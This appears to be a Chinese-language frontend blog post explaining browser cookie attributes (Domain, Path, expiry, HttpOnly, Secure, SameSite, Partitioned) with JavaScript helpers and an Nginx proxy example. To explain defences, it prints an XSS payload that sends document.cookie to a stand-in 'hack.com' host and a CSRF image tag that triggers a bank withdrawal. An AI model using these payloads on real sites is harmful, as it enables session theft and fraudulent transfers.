我們是袋鼠雲數棧 UED 團隊,致力於打造優秀的一站式資料中臺產品。我們始終保持工匠精神,探索前端道路,為社群積累並傳播經驗價值。
本文作者:佳嵐
Cookie
實際上是一小段的文字資訊,它產生的原因是由於HTTP 協定是無狀態的,所以需要通過 Cookie
來維持使用者端與伺服器端之間的「對談狀態」。如網路購物,能夠在不同頁面記錄購物車資訊,或者在網站不同頁面共用登入狀態。
Cookie 的基本結構包括:名字、值、各種屬性
一塊 Cookie 可能有 Domain、Path、Expires、Max-Age、Secure、HttpOnly 等多種屬性,如
**HTTP**/1.1 200 **OK**
Set-Cookie: token=abc; Domain=.baidu.com; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Domain
和 Path
屬性定義了該 Cookie 的可被存取的範圍,告訴瀏覽器該 Cookie 是屬於哪一個網站的。在請求介面時,會根據 Domain
與 Path
由瀏覽器決定是否要攜帶該 Cookie
。因此,Domain
是有嚴格規範進行約束的,可以看成 Cookie
的第一道安全防線。
首先 Domain
設定時在 格式上
必須以 .
開頭,且域必須還要包含一個 .
,或者是完全以 ip
的形式寫入,
比如說:
.baidu.com
✅
192.168.3.5
✅
.com
❌
.168.3.5
❌ 非法ip地址是無法寫入的
www.baidu.com
❓ 是否合法
A Set-Cookie with Domain=ajax.com will be rejected because the value for Domain does not begin with a dot.
雖然 RFC 中嚴格規定了 Domain
必須以 .
開頭,但可能由於網站開發者經常忘記加上 .
,所以瀏覽器都會自動的在前面加上一個 .
比如說下面這種:
寫入時
檢視時
如果伺服器未指定 Cookie 的 Domain
,則它們預設為所請求資源的域。
比如 網站地址為 www.baidu.com
,寫入的Cookie響應頭為Set-Cookie: b=2; Domain=;
則實際寫入的 Cookie 為
我們可以看到 b
的Domain
變成了當前網站的域,且前面也沒有帶上.
區別
Domain
不帶點時只有請求主機完全匹配時才會帶上 Cookie,也就是僅 www.baidu.com
能存取Domain
帶點時所有子域都能存取到該 Cookie,如 baidu.com
、b.baidu.com
、a.b.baidu.com
主機匹配
如果請求主機與域名不匹配,則會被瀏覽器拒絕寫入
當我在 www.a.com
網站寫入了一條 www.b.com
, 由於它們非同站會被瀏覽器拒絕寫入
Domain
必須為當前域或者當前域的父域
www.baidu.com
,寫入域為 .baidu.com
、www.baidu.com
✅a.baidu.com
,寫入域為 b.baidu.com
、c.a.baidu.com
❌再講講Path
, Path
與 Domain
相鋪相成,Domain
決定 Cookie
是否該被寫入,而 Path
決定具體請求哪個路徑時會被攜帶。
例如,設定 Path=/docs
,則以下地址都會匹配:
/docs
/docs/
/docs/Web/
/docs/Web/HTTP
但是這些請求路徑不會匹配以下地址:
/
/docsets
/fr/docs
當為設定Path
或者設定為空時,Path
會被設定為當前請求路徑
注意點:
當請求地址不帶末尾的/
時,www.a.com:3000/a/b
當請求地址末尾帶/
時, www.a.com:3000/a/b/
Cookie是由Domain
與 Path
來區分的,因此不同的Domain
或Path
會被識別成不同的Cookie, 所以你可能會遇到多個同名的情況
這些Cookie會同時在請求頭中被傳遞給伺服器端
我們可以看到 傳送給伺服器端的 Cookie
只會攜帶 Cookie
的鍵與名,不會攜帶相關的 Domain
資訊,因此伺服器端是無法判斷出該 Cookie
具體是哪個域攜帶的。但會有攜帶順序的優先順序問題,參見
所以當我們有多個子網站需要使用相同名字的Cookie時,可以使用不帶點的全域名
作為寫入Domain
或者指定具體的不同Path
, 或者採用字首來區分不同網站
Expires
與 Max-Age
屬性定義了 Cookie 的生命週期,也就是瀏覽器應刪除 Cookie 的時間。在預設情況下Cookie 的生命週期是 Session
級別,即退出瀏覽器後自動過期。
與 Http Cache
類似, Expires
是以一個絕對GMT格式的時間
的來指定過期時間,而 Max-Age
是以多少秒後過期。Max-Age
是 http1.1
的產物,優先順序比 Expires
要高,
Session
級別區別點:
Expires
是以GMT
時間為單位,可能存在伺服器與瀏覽器端時間不匹配的情況,導致不能精確控制時間到期時間。而Max-Age
則是以瀏覽器端接收到響應時開始計算時間的,以使用者端為準Max-Age
使用與計算過期時間更簡單,而Expires
相容性更好瞭解了這4個屬性,我們就可以先封裝自己的 Cookie 操作工具了,
瀏覽器提供的document.cookie
為我們提供了對Cookie
的操作方式
對document.cookie
重新賦值即可新增該Cookie
, 而不是替換掉整個Cookies
。
注意:如果需要替換某個Cookie
, 必須保證Domain
與Path
一致。其中 Cookie 內容只能包括 Ascii 碼字元,所以需要經過一層編碼。
setCookie(
name: string,
value: string,
days?: number,
domainStr?: string
){
let expires = '';
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = '; expires=' + date.toUTCString();
}
let domain = '';
if (domainStr) {
domain = '; domain=' + domainStr;
}
document.cookie = name + '=' + encodeURIComponent(value) + expires + domain + '; path=/';
},
只有將 Cookie 設為過期才會刪除, 注意只有符合指定 domain 與 path 會被刪除
deleteCookie(name: string, domain?: string, path?: string) {
const d = new Date(0);
const domainTemp = domain ? `; domain=${domain}` : '';
const pathTemp = path || '/';
document.cookie =
name + '=; expires=' + d.toUTCString() + domainTemp + '; path=' + pathTemp;
},
我們僅能通過document.cookie
查詢到所有的鍵與值,無法查詢其具體的屬性,每個不同的Cookie通過 ;
分割
function getCookie(cookieName) {
const strCookie = document.cookie
const cookieList = strCookie.split('; ')
for(let i = 0; i < cookieList.length; i++) {
const arr = cookieList[i].split('=')
if (cookieName === arr[0].trim()) {
return decodeURIComponent(arr[1]);
}
}
return ''
}
HttpOnly
要求瀏覽器不要通過 HTTP(和HTTPS)以外的渠道使用 Cookie,也就是說只能通過 Http 的響應頭裡進行Set-Cookie
, 使用者無法在 js 程式碼中去操作與讀取該 Cookie。這個屬性主要是用來緩解 XSS 攻擊的。
我們可以看下面兩個例子
反射型XSS竊取Cookie
反射型 XSS 攻擊指攻擊者在頁面中插入惡意 JavaScript 指令碼,該指令碼隨著 HTTP/HTTPS 請求資料一起傳送給後端伺服器,伺服器對其進行響應,瀏覽器接收響應後將其解析渲染。惡意指令碼的執行路徑為「瀏覽器-伺服器-瀏覽器」。瀏覽器中的惡意指令碼傳送到伺服器,伺服器直接對應資源返回瀏覽器中解析執行,整個過程類似於反射。
假設我們在百度上搜尋內容,就會跳轉以下頁面。
https://www.baidu.com/search?input=searchText
之後返回的頁面中會攜帶下面的內容
<p>以下是搜尋{searchText}的所有結果</p>
這時我將searchText
改為如下的字串
<img src="notfound.png" onerror="location.href='http://hack.com/?cookie='+document.cookie'">
接著我再把整個連結進行轉碼或者轉短連結化,傳送給使用者,使用者點選後在 baidu 上的 Cookie 就會比自動傳送到我們的 hack 伺服器內。
儲存型 XSS 竊取 Cookie
儲存型 XSS 攻擊指攻擊者在伺服器的資料庫中插入惡意 JavaScript 指令碼,當用戶存取網站時,惡意指令碼被傳送到瀏覽器進行解析執行。
最經典的一個評論區案例
我在某網站的評論區直接輸入一串JS程式碼
如果前端與後端均沒有對其進行過濾,那麼該評論被寫入到資料庫中,所有存取該頁面的使用者資訊都會被竊取。
但目前 XSS 攻擊並沒有那麼容易成功,大部分前端框架 React、 Vue,都會自動對 HTML 內容進行跳脫後再輸出到頁面,比如:
<img src="empty.png" onerror ="alert('xss')">
跳脫後輸出到 html 中
<img src="empty.png" onerror ="alert('xss')">
相比之下,採用伺服器端渲染的Web應用更容易被攻擊,如jsp
、 php
、 express-art-tempalte
。
因此,採用HttpOnly
來保護關鍵的使用者Cookie
是能很大程度上防止Cookie
被竊取,但並非完全杜絕。
Secure
屬性是防止資訊在傳遞的過程中被監聽捕獲造成資訊洩漏。當 Secure
標誌的值被設定為 true 時,表示建立的 Cookie
會被以安全的形式向伺服器傳輸,即只能在 HTTPS
連線中被瀏覽器傳遞到伺服器端進行對談驗證,如果是 HTTP
連線則不會傳遞該資訊,所以 Cookie
的具體內容不會被盜取,該屬性只能在 HTTPS
站點下被設定。
Same Site
直譯過來就是同站,它和我們之前說的同域 Same Origin
是不同的。Cookie 遵守同站策略
,而非同源策略
,兩者的區別主要在於判斷的標準是不一樣的。一個 URL 主要有以下幾個部分組成:
可以看到同域的判斷比較嚴格,需要 protocol
、 hostname
、port
三部分完全一致。
相對而言,Cookie
中的同站判斷就比較寬鬆,主要是根據 Mozilla 維護的公共字尾表
(Pulic Suffix List)使用有效頂級域名(eTLD)+1的規則查詢得到的一級域名是否相同來判斷是否是同站請求, 此外,Cookie
並不區分埠
與協定
。
域名可以分成頂級域名(一級域名)、二級域名、三級域名等等,如:
頂級域名:.com
, .cn
, .top
, .xyz
二級:baidu.com
, bilibili.com
三級域名:xx.baidu.com
xx.bilibili.com
這很好理解,如果是github.io
這屬於什麼域名?
例如 比較https://tieba.baidu.com
與 https://wenku.baidu.com
是否是同站。
根據上述的 有效頂級域名(eTLD)+1的規則查詢得到的一級域名是否相同
.com
是在 PSL 中記錄的有效頂級域名,eTLD+1
後兩者都是 baidu.com
,
所以 https://tieba.baidu.com
和 https://www.baidu.com
是同站域名。
那我們再來比較下jackWang.github.io
與 dtstack.github.io
其中 github.io
我們再PSL
中能夠找到
因此github.io
是有效頂級域名 eTLD
,jackWang.github.io
與 dtstack.github.io
分別是eTLD+1
, 它們不相等,所以是跨站的。由於github.io
是頂級域名,當domain
設定為 .github.io
由於非法,並不會設定成功,也因此不同github page
是不共用Cookie
的。
eTLD
的全稱是 effective Top-Level Domain
,它與我們往常理解的 Top-Level Domain
頂級域名有所區別。eTLD 記錄在之前提到的 PSL 檔案中。而 TLD(真正的頂級域名) 也有一個記錄的列表,那就是 Root Zone Database。
eTLD 的出現主要是為了解決 .com.cn
、 .com.hk
、 .co.jp
這種看起來像是二級域名的但其實需要作為頂級域名存在的場景。
回到 SameSite
這個屬性本身上,它有三個取值
None
Lax
預設值Strict
在 Chrome80 版本以前,Same-Site 的預設值是None
, 該屬性值表示不做任何限制,允許第三方Cookie
。啥是第三方Cookie
?根據上面同站的判斷規則,如果是同站的,就稱為第一方
,跨站的就為第三方
。
那麼什麼時候我的網站會出現第三方Cookie
,Cookie Domain
不是隻能設定自身域內嗎 ?
首先Set-Cookie
時的Domain
校驗是根據請求的主機,而不是當前導航欄 URL 的地址來判定的
當我請求一個跨域請求
,或者通過img標籤
引入一個外域的圖片時等等,如果請求響應設定了Cookie
或者攜帶了第三方Cookie
, 那麼都會在Devtools
中展示,只有當通過document.cookie
存取時存取到的都為第一方Cookie
。
當我在www.aliyun.com
設定了如下 Cookie: a=createFromAliyun; Domain=.aliyun.com;Path=/; SameSite=None
當我存取www.taobao.com
時, 裡面參照了一張aliyun.com
的圖片
當我將SameSite設為None時,請求這張圖片時才會帶上我們在www.aliyun.com
下寫入的Cookie a
。
僅攜帶為None
的Cookie
Lax
會對一部分第三方Cookie
進行限制傳送,我們知道網際網路廣告通過在固定域 Cookie 下標記使用者 ID,記錄使用者的行為從何達到精準推薦的目的。隨著全球隱私問題的整治,在 Chrome 80 中瀏覽器將預設的 SameSite 規則從 SameSite=None
修改為 SameSite=Lax
。設定成 SameSite=Lax
之後頁面內所有跨站情況下的資源請求都不會攜帶 Cookie。
具體規則:
型別 | 例子 | 是否傳送 |
---|---|---|
a連結 | 傳送 | |
預載入 | 傳送 | |
GET 表單 | 傳送 | |
POST 表單 | 不傳送 | |
iframe | 不傳送 | |
AJAX | axios.post fetch | 不傳送 |
圖片 | 不傳送 |
對使用者來說這肯定是一件好事,避免了自身被攻擊。但是對我們技術同學來說,這無疑是給我們設定的一個障礙。因為業務也確實會存在著多個域名的情況,並且需要在這些域名中進行 Cookie 傳遞。
這個修改影響面廣泛,需要網站維護者花大量的時間去修改適配。
針對因為此次特性受到影響的網站,可以選擇以下一些適配辦法:
chrome://flags
將same-site-by-default-cookies
設為disabled
, 94版本以下需改動啟動項才行二級域名
下面,即讓他們保持同站
單點登入頁面
,單點登入頁面僅會在iframe
中使用,沒有人會單獨去存取這個網站,則可以考慮修改單點登入頁面的域名。SameSite=None;Secure
屬性None
必須與Secure
配套使用,而Secure
意味著必須配備 HTTPS
。www.baidu.com
下通過 iframe 巢狀了www.bilibili.com
, 它們跨站了,在 bilibili 中的Set-Cookie
將會被拒絕掉。Nginx
上開啟一個代理服務,將域名 bilibili.baidu.com
代理轉發至 www.bilibili.com
需要注意: 要通過 Nginx 進行 Cookie 轉發
server {
listen 80;
server_name bilibili.baidu.com;
location / {
proxy_hide_header X-Frame-Options;
# 用於cookie代理
proxy_cookie_domain www.baidu.com bilibili.baidu.com;
# 代理到真實地址
proxy_pass http://www.baidu.com;
}
}
Strict
最為嚴格,它完全拒絕第三方站點,實際運用場景並不多,當某些 Cookie 被設為Strict
後,可能會影響到使用者的體驗。比如我在baidu.com
中用a標籤
連結到bilibili
,而bilibili
的token
如果是Strict
的話,那我跳轉過去就會丟失登入狀態。
SameSite
的作用主要有兩點:
CSRF攻擊
比如我在自己的駭客網站放入一張圖片,裡面的連結指向會將 qiming 的錢轉給 jialan, 誘導使用者進入我的網站,由於第三方 Cookie 的存在,使用者的登入態是存在的(之前登入過該銀行的話),錢就會自動轉入我的賬戶。如果設定了Lax
或Strict
, 則能避免這種問題。
<img src="http://bank.example.com/withdraw?account=qiming&amount=1000000&for=jialan" />
每一個 Cookie 的大小一般為4KB, 不同瀏覽器上不同,Chrome 實測下來為4096
個位元組,其計算是name
+ value
的字串長度,當超過大小時設定不會成功
實測下來每個域下面最多為175個,當超出最大限制時,會移除舊的 Cookie
但我如何控制哪些 Cookie 在超出限制時不應該被刪除?
Cookie還有個 Priority
屬性用來表示優先順序
有以下取值:
Low
Medium
預設值High
那自動刪除時將按下面順序進行刪除
Low
的非 secure CookieLow
的 secure CookieMedium
的非 secure CookieMedium
的 secure CookieHigh
的非 secure CookieHigh
的 secure CookieCookie 在未來的很長一段時間都是不可或缺的,即使目前已經有了 jwt 等替代方案。 像國外的 Cookie 隱私法在一步步限制著 Cookie 的權利,存取站點時使用第三方 Cookie 都必須爭得使用者的同意。
SameSite=Lax/Strict
斷了我們跨站傳遞 Cookie 的念想,但實際業務上確實有這種場景。然而 Chrome 是計劃在2024年完全禁用第三方Cookie
,那完全禁用後,為了能夠滿足實際的業務需求,Chrome 又推出了SameParty
屬性。
該提案提出了 SameParty
新的 Cookie 屬性,當標記了這個屬性的 Cookie 可以在同一個主域下進行共用。那如何定義不同的域名屬於同一主域呢?主要是依賴了另外一個特性 first-party-set 第一方集合。它規定在每個域名下的該 URL /.well-known/first-party-set
可以返回一個第一方域名的組態檔。在這個檔案中你可以定義當前域名從屬於哪個第一方域名,該第一方域名下有哪些成員域名等設定。
// https://a.example/.well-known/first-party-set
{
"owner": "a.example",
"members": ["b.example", "c.example"],
...
}
// https://b.example/.well-known/first-party-set
{
"owner": "a.example"
}
// https://c.example/.well-known/first-party-set
{
"owner": "a.example"
}
當然使用固定 URL 會產生額外的請求,對頁面的響應造成影響。也可以直接使用 Sec-First-Party-Set
響應頭直接指定歸屬的第一方域名。
該屬性還未正式支援,此處只做簡略說明,詳細資料
這個屬性我們可能很少注意到,一般稱為Cookies Having Independent Partitioned State (CHIPS)
它的作用是使 第三方Cookie
與 第一方站點
相繫結
我們舉個例子:
我在 https://site-a.example
裡,裡面請求了 https://3rd-party.example
這個站點的資源, 而 https://3rd-party.example
寫入了一個 Cookie
,那它屬於 第三方COokie
。
當我存取 https://site-b.example
時,也請求了 https://3rd-party.example
的資源,這時瀏覽器會把在 https://site-a.example
中寫入的第三方 Cookie 也給帶上。
這是正常情況,原因是 Cookie
在會以寫入它們的主機或者域名作為 Key
去儲存,比如上面就是 [」https://3rd-party.example」]
, 我們並不知道它的建立上下文域名是啥。
當我開啟 Partitioned
時,Cookie 儲存時,還會記錄建立它的上下文 eTLD + 1
作為額外的 Partiotion Key
, 變成 [」https://3rd-party.example」, "https://site-a.example"]
。
當我存取 https://site-a.example
是因為匹配上了 Partition Key
, 所以能夠帶上 第三方 Cookie
, 存取 https://site-b.example
時則不會帶上 第三方 Cookie
。這樣其實主要是限制了第三方 Cookie 的跟蹤。
https://tech-blog.cymetrics.io/posts/jo/zerobased-secure-samesite-httponly/
https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/frontend_nian/article/details/124221944
https://blog.csdn.net/weixin_40906515/article/details/120030218
https://datatracker.ietf.org/doc/html/rfc6265
https://zhuanlan.zhihu.com/p/50541175
https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies
歡迎關注【袋鼠雲數棧UED團隊】~
袋鼠雲數棧UED團隊持續為廣大開發者分享技術成果,相繼參與開源了歡迎star